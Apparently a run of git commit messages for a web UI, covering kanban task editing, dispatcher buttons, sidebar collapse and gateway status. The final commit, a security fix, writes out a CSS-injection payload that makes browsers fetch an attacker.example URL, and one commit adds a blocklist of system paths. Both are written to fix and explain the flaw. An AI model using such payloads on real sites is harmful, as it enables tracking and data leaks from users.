- replace navigator.clipboard.writeText with _copyText (has textarea fallback)
- add severity filter dropdown (All / Errors / Warnings+)
- add _severityForLine and _filteredLogsLines helpers
- add logsSeverityFilter HTML element + CSS class hooks
- add 5 new i18n keys across all 8 locales
- update test_logs_ui_static.py to match new implementation
Closes#2081
Lets desktop users collapse the session-list sidebar to maximise the chat
area, without adding any visible UI affordance. Default appearance is
identical to master — only users who actively try to toggle (or know the
keyboard shortcut) ever see a difference.
## Behaviour (desktop only, ≥641px)
| State | Action | Result |
|------------------------------------|-----------------------|-----------------------------------------|
| Sidebar open, click active rail | Toggle | Sidebar collapses to width:0 |
| Sidebar open, click different rail | Normal switch | **Sidebar stays open** (no surprise) |
| Sidebar collapsed, click any rail | Expand + switch | Sidebar expands, then panel switches |
| Anywhere, Cmd/Ctrl+B | Toggle | Same as same-active-rail click |
| Mobile (<641px), any of the above | No-op | Mobile overlay behaviour unchanged |
Two discoverability paths, both opt-in. **No new visible buttons.** Users
who never click the active rail icon see zero UI change vs. master.
## Surface-minimal design
The behaviour is contained behind one extra arg on the rail/sidebar-nav
onclick: `switchPanel('chat',{fromRailClick:true})`. Without that flag the
function preserves master's behaviour exactly — every programmatic
`switchPanel(name)` callsite (commands, deeplinks, internal state changes)
is unaffected. The guard chain inside `switchPanel`:
opts.fromRailClick && _isDesktopWidth() && (
_isSidebarCollapsed() ? expandSidebar() :
prevPanel === nextPanel ? (toggleSidebar(true); return false))
is the ONLY new code path that can cause a collapse. Cross-panel clicks
fall through to the existing switch logic untouched.
## Polish from both source PRs
- **Click-active gesture** as the primary toggle (#1884 @jasonjcwu — the
genuine UX innovation; no extra button needed)
- **Cmd/Ctrl+B keyboard shortcut** (#1924 @spektro33; VS Code convention).
Guarded against firing when typing in INPUT / TEXTAREA / contenteditable
so the shortcut never steals from in-progress text editing.
- **Inline flash-prevention `<script>`** in `<head>` (#1924) sets
`data-sidebar-collapsed='1'` on `<html>` BEFORE the stylesheet loads,
so cold loads with a persisted-collapsed state paint correctly from
frame 0 with no flicker. Cleared by JS once the class system takes over.
- **Smooth slide animation** via `.24s cubic-bezier(.22,1,.36,1)`
(#1924, mirrors the existing workspace-panel collapse on the right)
- **`aria-expanded` mirrored** on the active rail button (#1884) so
screen readers announce open/collapsed transitions.
- **`body.resizing` transition-suppression** (#1884) keeps the drag-resize
cursor instant — no animation during a width-resize gesture.
- **bfcache `pageshow` re-sync** (#1884) — if another tab toggled the
sidebar while this page was frozen, bring it in line on restore.
## Drops vs. #1924
- No persistent rail "toggle sidebar" button (Nathan: keep the UI stealth)
- No close-X button in chat panel head (same reason)
- No i18n keys for the dropped buttons
## What did NOT change
- 22 rail/sidebar-nav `onclick` handlers gained the `{fromRailClick:true}`
arg — function-call shape, invisible to users
- 1 inline `<script>` in `<head>` (flash prevention) — invisible
- 5 lines of CSS — invisible unless someone collapses
That's the entire visible-UI delta. **23 ins / 22 del on `index.html`,
all string-replace.**
## Verification
- 5,151 pytest passing including a new 34-test structural suite covering
every contract (CSS rules, JS functions, fromRailClick guard, legacy
proxy forwarding, flash-prevention `<script>` ordering, mobile
exclusion via :not(.mobile-open) selector, aria-expanded sync).
- Live browser walkthrough at 1280px verified:
- Default boot state identical to master (sidebar open, width 300px)
- Click active rail → collapse (width 1, opacity 0, translateX -14px,
localStorage='1', aria-expanded=false). Panel unchanged.
- Click active rail again → expand back to width 300, aria=true
- Click DIFFERENT rail → normal switch, sidebar stays open (legacy-
preserving case, verified explicitly)
- Click rail while collapsed → expand + switch in one gesture
- Cmd+B toggles correctly
- Cmd+B inside `<textarea>` → suppressed (defaultPrevented=false)
- Reload with collapsed state persisted → restores without flash
- Mobile simulation (matchMedia returns false for min-width:641px):
same-active-rail click is no-op, Cmd+B is no-op, sidebar stays at 300px
Co-authored-by: jasonjcwu <jasonjcwu@users.noreply.github.com>
Co-authored-by: spektro33 <spektro33@users.noreply.github.com>
Closes#1884Closes#1924
PR #1981's edit-task modal silently demotes tasks whose real status is
running/blocked/done/archived. The dropdown only offers triage/todo/ready,
so `_kanbanEditableStatusFor()` maps any other status to 'triage' for
display. If the user just edits the title and saves, the dropdown's
displayed 'triage' lands in the PATCH payload — and `_patch_task` calls
`_set_status_direct` which:
- ends any active run with outcome='reclaimed' (worker yanked back)
- nulls claim_lock / claim_expires / worker_pid
- moves the task to triage
So editing a 'running' task's title would reclaim the running worker.
Editing a 'done' task would un-done it. Editing an 'archived' task would
un-archive it. All silent, no warning.
Reproducer (Node):
Original: {status: 'running'}
Modal display: 'triage' (mapped)
User leaves dropdown alone → submit
Payload: {title: 'X', status: 'triage'} ← destructive
Fix: track the modal's initial displayed status in
_kanbanTaskModalInitialDisplayedStatus on edit-mode open. In submit's
edit branch, only include `status` in the PATCH payload when the user
actually picked a different value than what the dropdown opened with.
Create-mode resets the tracker to null so create payloads always include
status.
Verified end-to-end via Node harness:
- edit running, untouched → no status sent ✓ (server keeps running)
- edit running, picked ready → status:ready sent ✓ (worker reclaimed
intentionally)
- edit triage, untouched → no status sent ✓ (idempotent)
- edit triage, picked ready → status:ready sent ✓
- create new → status always sent ✓
- edit done, untouched → no status sent ✓ (no un-done)
Adds test_kanban_edit_mode_preserves_status_when_dropdown_untouched
pinning the tracker variable, openKanbanEdit captures, submit-skip
condition, and create/close reset paths. Verified to fail pre-fix.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three connected gaps in the Kanban UX, fixed together because they're
load-bearing for the actual work-queue lifecycle:
1. Edit task — the detail view had only status-transition buttons (Triage/
Todo/Ready/Blocked/Done/Archived) plus Block/Unblock and Add comment.
No way to edit title, body, assignee, tenant, or priority once the task
was created. Backend already supported it via PATCH /api/kanban/tasks/<id>
(api/kanban_bridge.py::_patch_task) — purely a UI gap.
Now: an Edit button on the task-detail header opens the existing modal
pre-filled with current values, switches the modal title to 'Edit task'
and the submit button to 'Save', PATCHes instead of POSTing on submit.
2. Run dispatcher — the existing 'Preview dispatcher' button always passed
?dry_run=1 (nudgeKanbanDispatcher), so it was preview-only. There was
literally no UI button anywhere in the WebUI that actually ran the
dispatcher to claim Ready tasks and spawn workers. Users had to drop
to the CLI.
Now: new runKanbanDispatcher() entry point hits /api/kanban/dispatch
without dry_run=1, after a showConfirmDialog confirmation because it
spawns subprocess workers. Two UI surfaces: a lightning-bolt button in
the board header (visually distinct from the dry-run preview ▶), and
a primary 'Run dispatcher' button in the sidebar bulk bar next to a
relabeled 'Preview' button. Toast result shows concrete numbers from
dispatch_once(): 'Dispatched: 1 spawned, 2 skipped (no assignee)' —
not just a generic 'OK'.
3. Assignee dropdown — the previous create modal accepted free-text
assignee with no validation. The dispatcher (kanban_db.py:3567) only
spawns workers when row['assignee'] is a real Hermes profile name; any
typo or blank value made the task sit in Ready forever.
Now: <select> populated from /api/profiles (Hermes profile names) with
historical board assignees grouped under 'Other (CLI lanes / removed
profiles)', plus an explicit '— Unassigned (won't auto-run) —' option.
Default selection is the first profile, not Unassigned. Custom SVG
chevron so the field reads visually as a dropdown. Helper text under
the field explains the dispatcher claim contract. Soft warning if user
explicitly picks Unassigned + Ready ('You picked Unassigned + Ready.
The dispatcher will skip this task. Submit again to confirm, or pick
a profile.'); proceeds on second submit.
Side effect: default new-task status changed from triage to ready, since
'ready' is what users want for tasks they intend to actually run. Triage
is still in the dropdown for tasks that need staging review.
i18n: 19 new keys translated across all 8 supported locales.
Tests: 3 new regression tests in tests/test_kanban_ui_static.py:
- test_kanban_task_detail_has_edit_button_and_modal_supports_edit_mode
- test_kanban_assignee_dropdown_uses_select_not_freetext
- test_kanban_run_dispatcher_button_exists_and_is_distinct_from_preview
Verified end-to-end in browser: created board → opened modal with profile
dropdown → created task with assignee=archivist → clicked Edit → changed
all 5 fields → saved → verified persistence → clicked Run dispatcher →
confirm dialog → confirmed → toast 'Dispatched: 1 spawned' → task moved
Ready → Running.
Test suite: 5042 passed, 11 skipped, 3 xpassed, 0 regressions in 151s.
The Kanban sidebar panel's header '+' button (#kanbanNewTaskBtn) was
wired straight to createKanbanTask(), which reads the inline
#kanbanNewTaskTitle input and silently returns when empty. The inline
input lives below five rows of filters (search, assignee, tenant,
archived/mine toggles, stats, bulk-action bar) and is typically off-screen
on first panel open, so the header button looked dead — clicking it with
no title typed did nothing visible (no modal, no scroll, no focus shift,
no toast).
Now the header '+' opens #kanbanTaskModal — a centered overlay with the
same .kanban-modal-overlay shell the existing create-board modal uses,
so the two flows look and behave identically (centered card, dim
backdrop, ESC closes, click-on-backdrop closes). The modal exposes the
fields the backend already accepts at /api/kanban/tasks: Title, Description,
Status (Triage/Todo/Ready), Priority, Assignee (datalist suggestions from
the active board), Tenant (datalist).
UX details:
- Title is required; submit-with-empty shows a properly styled red error
- Title field auto-focuses on open
- ESC closes the modal; backdrop click closes; Enter on simple inputs
submits, Enter in the description textarea inserts a newline
- Submit POSTs only the fields the user filled in (no forced empty strings)
and auto-opens the new task's detail view
- Submit button disables while posting to prevent double-submit
- Inline quick-add (Enter on #kanbanNewTaskTitle) is preserved as a
power-user shortcut
Side effect: .kanban-modal-error styling improved (proper red alert with
border + tinted background) so the existing create-board modal benefits
from the same polish for free.
i18n: 11 new keys added across all 8 supported locales (en, ja, ru, es,
de, zh, pt, ko).
Tests: tests/test_kanban_ui_static.py::test_kanban_new_task_header_button_opens_modal
covers the modal markup, button wiring, ESC/Enter handling, datalist
population, submit behavior, and inline-quick-add fallthrough.
Verified end-to-end in the browser on an isolated test env (port 8789):
created a board from scratch, opened the modal via header '+',
submitted with title/description/status/priority/assignee/tenant filled in,
moved the task through statuses (Triage → Todo → Ready → Blocked → Archived),
added a comment, verified Cancel + ESC + backdrop-click all close cleanly,
verified validation error rendering, verified inline quick-add still works.
Closes#1964
Conflict resolution: both #1928 (session jump buttons) and #1929 (endless
scroll) add their own settings/UI/i18n keys. Resolved by keeping both —
the features are independent opt-in toggles.
PR #1828 added an await loadKanbanBoards() at the START of loadKanban() to
resolve the active board before board-scoped requests fire (so a stale saved
slug can fall back to default cleanly). The existing tail-of-function refresh
at line 1278 was harmless under one-time loads but doubles /api/kanban/boards
traffic under SSE-driven refreshes (debounced at 250ms via
_scheduleKanbanRefresh). The 30-second polling interval started by
_kanbanStartPolling() picks up any board state changes that arrive after
the render, so the tail call is redundant in PR #1828's new model.
Per Opus pre-release verdict: SHIP with this perf cleanup as in-release
absorb (5 LOC delta, clearly defensive, no behavior change for the
single-load case).
- Backend: return `configured` field alongside `running`. When
alive=None (no gateway metadata), configured=false with fallback to
identity_map heuristic.
- Frontend: amber "Gateway not configured" when configured=false,
red "Gateway not running" only when configured but process is down,
green "Running" when both true.
- Replace dead try/except fallback with explicit tri-state check on
health["alive"].
- Add regression test for last_active guard when alive=true and
identity_map is empty.
All 87 gateway-related tests pass.
Per Opus advisor on stage-299:
1. Bounded WIKI_PATH walk + forbidden-root guard (api/routes.py)
- _LLM_WIKI_MAX_FILES = 10000 caps rglob iteration (prevents hangs on
symlink loops or pathologically-large trees)
- _LLM_WIKI_FORBIDDEN_ROOTS blocklist refuses '/' '/etc' '/usr' '/var'
'/opt' '/sys' '/proc' even if WIKI_PATH is misconfigured to point
at them
- Self-DoS prevention: /api/wiki/status fires on every Insights tab
open via Promise.all, and unbounded rglob would block the endpoint
2. URL-scheme guard for docs_url interpolation (static/panels.js)
- rawDocsUrl is regex-validated against /^https?:\/\//i before being
interpolated into the <a href=> attribute
- esc() HTML-escapes but doesn't validate URL scheme; docs_url is
server-controlled today but the contributor scaffolded it for
potential config-driven use, so future-proof against javascript:
scheme XSS
6 regression tests in tests/test_stage299_opus_fixes.py pin both fixes.
`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>